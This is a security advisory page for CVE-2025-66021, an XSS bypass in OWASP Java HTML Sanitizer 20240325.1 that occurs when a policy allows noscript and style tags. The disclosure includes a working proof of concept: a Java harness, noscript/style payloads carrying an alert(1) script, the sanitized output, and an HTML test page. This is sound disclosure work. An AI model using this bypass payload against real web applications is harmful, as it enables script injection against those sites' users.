CVE-2025-66021: OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization

Published Nov 25, 2025
·
Updated

Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style"). 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

3. Run the following piece of code which sanitizes the payload.

java public class main { private static final String ALLOWEDHTMLTAGS = "p, noscript, style";

/ Description of vulnerability : The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. /

public static void main(String[] args) { withAllowedTextAndStyleTag(); }

/ Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWEDHTMLTAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

4. Output of the POC code should look like this

HTML

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

5. Lets understand what happened in sanitization process below

txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

6. Lets create a sample html page and copy both sanitized output which should be generated in step 5

HTML

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p>

</body> </html>

7. Open this HTML page in the browser it should pop an alert.

!Alt text

8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

!SAFE from XSS

9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

!XSS POC

Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

Other sources

OWASP Java HTML Sanitizer is a configureable HTML Sanitizer written in Java, allowing inclusion of HTML authored by third-parties in web applications while protecting against XSS. In version 20240325.1, OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. At time of publication no known patch is available.

MITRE

Affected Software

2 affected components
maven/com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer=20240325.1
OWASP Java HTML Sanitizer=20240325.1

Event History

Nov 25, 2025
Advisory Published
via GitHub·10:10 PM
Data Sourced
via GitHub·10:10 PM
DescriptionWeaknessAffected Software
Nov 26, 2025
CVE Published
via MITRE·01:53 AM
Data Sourced
via MITRE·01:53 AM
DescriptionWeakness
Data Sourced
via NVD·02:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:15 AM
Affected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-66021?

CVE-2025-66021 is classified as a high severity vulnerability due to its potential to allow XSS attacks.

2

How do I fix CVE-2025-66021?

To fix CVE-2025-66021, ensure that the HtmlPolicyBuilder does not allow `noscript` and `style` tags with `allowTextIn` inside the style tag.

3

What software versions are affected by CVE-2025-66021?

CVE-2025-66021 affects the owasp-java-html-sanitizer version 20240325.1.

4

What types of attacks can CVE-2025-66021 lead to?

CVE-2025-66021 can lead to Cross-Site Scripting (XSS) attacks if exploited.

5

What is the cause of the vulnerability CVE-2025-66021?

The vulnerability in CVE-2025-66021 is caused by improper sanitization of CSS when specific HTML tags are allowed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203